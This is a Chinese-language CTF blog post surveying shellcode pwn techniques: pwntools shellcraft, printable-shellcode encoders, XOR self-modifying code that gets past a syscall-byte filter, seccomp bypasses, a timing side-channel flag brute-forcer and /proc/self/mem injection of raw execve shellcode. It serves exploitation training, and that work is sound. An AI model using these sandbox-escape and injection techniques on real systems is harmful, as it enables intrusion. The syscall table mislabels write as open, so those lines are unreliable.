shellcode题目整理

lingze 2022-02-24 10:42:00
CTF

0x00 shellcode & seccomp

简单整理下shellcode类型的题目

shellcode原理

shellcode 本意是指 一段字节码, 输入以后程序会运行这段代码, 达到getshell的目的,

ctf pwn题中我们的目的是读取flag,

使用shellcode的话也分为两种情况,

  • getshell
  • 使用open read write (orw)

其实两者的原理是一致的, 都是通过系统调用实现对应功能,

系统调用表, 常用的是 x86x86-64的,

shellcode使用场景

重要的其实就是, 要能有个可写可执行的地址, 另该我们可以运行到这个地址去执行我们的输入, 就可以使用shellcode,

对于栈题目来说,一般都是使用rop, 堆题目一般通过控制hook位来getshell, 但是开启沙箱使用orw的使用一般会考虑shellcode/srop,

另外一些就是比较明显的考察shellcode编写的题目, 比较直白, 可能就如下:

    shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    read(0, shellcode, 1024);
    /* check */
    sc = shellcode;
    sc();   

一般这种也会读取以后对shellcode本身增加各种限制, 或者使用沙盒对系统调用进行限制。

0x01 对shellcode本身无限制

就普通的getshell或者orw,

其实可以直接使用pwntools的shellcraft, 或者生成以后自己修改下,

使用pwntools中的asm函数, 将汇编shellcode编译, 输出为bytes类型,

context.arch = "amd64" 
# 这里要指定, 不然asm默认使用i386, 编译会报错, 
asm("mov rax, 1")

这个shellcraft工具, 使用比较多的是以下几个,

其实要指定对应的构架, 这里用amd64代替,

from pwn import * 

# execve(path='/bin///sh', argv=['sh'], envp=0)
shellcraft.amd64.linux.sh() # getshell 

# open(file='flag', oflag=0, mode=0)
shellcraft.amd64.linux.open("flag")
# read(fd, buf, count)
shellcraft.amd64.linux.read(fd=0, buffer='rsp', count=8)
# write(fd, buf, count)
shellcraft.amd64.linux.write(fd=1, buffer='rsp', count=8)

对应的题目: 2018 TDCTF sandbox1.

0x02 对shellcode本身的限制

限制shellcode 可打印

可能存在 可打印, 不允许符号, 仅字母等几种情况, 这里我们不进行分类, 简单介绍几种处理手段,

pwntools中内置一个加密shellcode的工具, pwntools encoders, 但是这个工具使用起来, 效果比较一般, 另一个是shellcode_encode , 可打印, 但是不能仅字母,

推荐一下两个工具:

一个是ae64, 可以比较灵活的控制寄存器, 但是shellcode长度长一些, 另一个是alpha3, 这里建议直接使用taqini师傅修改编译好的alpha3,

使用:

python ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode"

或者直接使用写好的脚本:

./shellcode_x64.sh rax

其中指定rax为shellcode基址, 然后同目录下的shellcode文件保存shellcode字节流,

我们使用pwntools生成:

python sc.py > shellcode

脚本内:

from pwn import * 
context.arch='amd64'
sc = shellcraft.sh() # 示例
print(asm(sc))

image-20210825122252264

题目: qwb 2021 shellcode.

限制shellcode长度

一般需要观察运行到shellcode时的, 尽量不做改动,

有一下两种思路:

  • 在限制内完成getshell, 需要比较精妙的构造,
  • 构造shellcode拓展, 再构造一次读取和跳转,这次自己构造的shellcode就没有限制了

限制shellcode长度和可打印

一般这种需要手写shellcode, 使用工具生成的长度会不够

使用纯字符的汇编指令完成对shellcode的编写,

可以参考

不允许出现 某些opcode

比如不允许出现syscall (\x0f\x05), 其实可以算作全字符shellcode同类型的变体,检测如下:

    for(int i=0 ; i<1024-1; i++) {
        if (shellcode[i] == 0x0f && shellcode[i+1] == 0x05) {
            printf("[*] blocked !\n");
            return -1;
        }
    }

其实这个绕过和绕过shellcode可打印是一样的, 因为shellcode的内存是rwx, 直接进行修改即可。

一般会利用一个0x9090 ^ 0x959f=0x0f05, 如下:

xor word ptr[rip], 0x959f
nop
nop // 0x909 

因此可以这样写:

sc = shellcraft.amd64.open("/flag")
sc += shellcraft.amd64.read("rax", "rsp", 0x100)
sc += shellcraft.amd64.write(1, "rsp", 0x100)

# replace (syscall) to (nop; nop)
sc_asm = asm(sc, arch="amd64").replace("\x0f\x05", "\x90\x90")

# add xor logic before (nop; nop)
xor = '''
xor word ptr[rip], 0x959f
nop
nop
'''
xor_sc = asm(xor, arch="amd64")

sc_asm = sc_asm.replace("\x90\x90", xor_sc)

可以参考 TDctf 2018 sandbox3.

0x03 seccomp

开启c沙盒的情况, shellcode绕过沙箱的整理,

这里提一下seccomp的实现, 其实是内核层面过滤了对应的系统调用, 但是这个过滤指针对eax的值, 因此也出现很多绕过方案,

这里使用seccomp-tool进行沙箱的检测,

seccomp-tools dump ./bin

orw

最常见的情况, 不能getshell, 但我们ctf是为了读取flag, 因此可以使用open read write 函数进行利用,

大概分为两种情况,

  • 封了execve

image-20220215143815537

  • 只允许open read write

image-20220215141940155

第一种情况其实可以使用rop调用glibc中的open read write即可,

int open(char *filename);
int read(int fd, void *buf, size_t size);
int write(int fd, void *buf, size_t size);

这种其实使用简单的rop不用shellcode也可,

但是因为glibc中的open并不是调用open的系统掉用, 而是openat, 因此第二种情况只能使用系统调用(syscall/int 80)完成,

这里参考系统调用表:

// 64:
int rax  open(rax=2, rdi=*filename, rsi=flag, rdx=mod);
int rax  read(rax=0, rdi=fd, rsi=*buf, rdx=count);
int rax  open(rax=2, rdi=fd, rsi=*buf, rdx=count);

// 32:
int eax  open(eax=5, ebx=*filename, ecx=flag, edx=mod);
int eax  read(eax=3, ebx=fd, ecx=*buf, edx=count);
int eax  open(eax=4, ebx=fd, ecx=*buf, edx=count);

注意open的系统调用有三个参数, 有时候不成功就是因为参数没设置, 一般设置为0, 0, 即可,

常规shellcode题目了,可以参考2018_TDctf sandbox2.

有时候会禁了open反而留下openat, 这时候我们可以直接使用openat,也是一样的。

image-20220215143752982

orw不够

当题目没有提供完整的三个syscall的时候,

因为seccomp其实是检查系统调用时的rax的值, 而64 32位的系统调用表不同, 因此我们可以切换到32位来获得到另一些系统调用, 有可能就补齐了三个函数

image-20220215142006276

image-20220215142021766

使用32位模式的方案有两种,

具体还要看题目的限制。对应两者分别有以下的限制:

对于构架的限制:

image-20220215142120433

对于函数调用号的范围检测

image-20220215144547885

没有wirte

如果使用了32位模式仍然不能得到write函数的话,

可以使用类似测信道的方式, 写入shellcode, 对读取进来的flag某一位检测, 使用cmp+jz的判断语句, 如果正确则死循环,

然后通过pwntools进行爆破, 得到flag,

flag = []
idx = 0
while True:
    for ch in range(32, 127):
        cn = process("./bin")
        exp(idx, ch)
        start = time.time()
        try:
            cn.recv(timeout=2)
        except:
            ...
        cn.close()
        end = time.time()
        if end - start > 1.5:
            flag.append(ch)
            print(bytes(flag))
            break;
    else:
        print(bytes(flag))
        break
    idx += 1

如果有alarm的话也可以尝试使用alarm。通过alarm可以每一位单独获取, 那么可以用多线程。

context.os='linux'

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw']

def exp(idx):
    cn = process("./bin")
    ....
    start = time.time()
    cn.sendline(sc2)
    try:
        cn.recv()
    except:
        ...
    end = time.time()
    cn.close()
    pass_time = int(end-start)
    flag[idx] = pass_time
    print(bytes(flag))


pool = []
flag = [0]*0x20
for i in range(0x20):
    t = threading.Thread(target=exp, args=(i, ))
    pool.append(t)
    t.start()
for i in pool:
    t.join()
print(bytes(flag))

qwb 2021 shellcode.

lseek配合/proc/self/mem注入shellcode

这里是另一个思路, 利用父子进程和/proc/self/mem的操作,

调用fork形成父子进程以后, 父进程再进行seccomp设置, 因此子进程不再沙盒内, 我们使用有限的系统调用向子进程内注入代码, 并利用子进程getshell,

具体题目是: googlectf 2020: onlywrtie.

/proc/self/mem注入代码应该算是常规操作了,rwctf 2022 QLaaS 也是这样的操作, 不过这个是向自身注入shellcode。 而且注入libc以后如果rip落点不固定,还要再配合滑板shellcode。

unsigned char shellcode[0x27a50 + 0x100 + 0x100];
unsigned char sc[] = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69"
                     "\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05";

    memset(shellcode, 0x90, 0x27a50 + 0x100);
  memcpy(shellcode + 0x27a50 + 0x100, sc, sizeof(sc));

  lseek(mem, addr, SEEK_SET);
  write(mem, shellcode, sizeof(shellcode));

0x04 其他情况

滑板shellcode

相当于 [nop]*n + shellcode, 用大量nop填充, 计量覆盖rip随机的所有落点, rip落到nop,一路流到shellcode。

这个指的主要是nop指令,一般用在劫持程序流的利用中,劫持的指针不确定落点的时候,在可能的落点填充大量nop当作滑板,只要rip落在其中,就会一直运行nop 一直向下,然后落到最后的shellcode中,执行我们的shellcode。

单纯的滑板shellcode题目应该是 rwctf2022 QLaaS.

这个技术一般是用来配合堆喷等手段的。

评论

L

lingze

这个人很懒,没有留下任何介绍

随机分类

运维安全 文章:62 篇
memcache安全 文章:1 篇
Ruby安全 文章:2 篇
企业安全 文章:40 篇
木马与病毒 文章:125 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

目录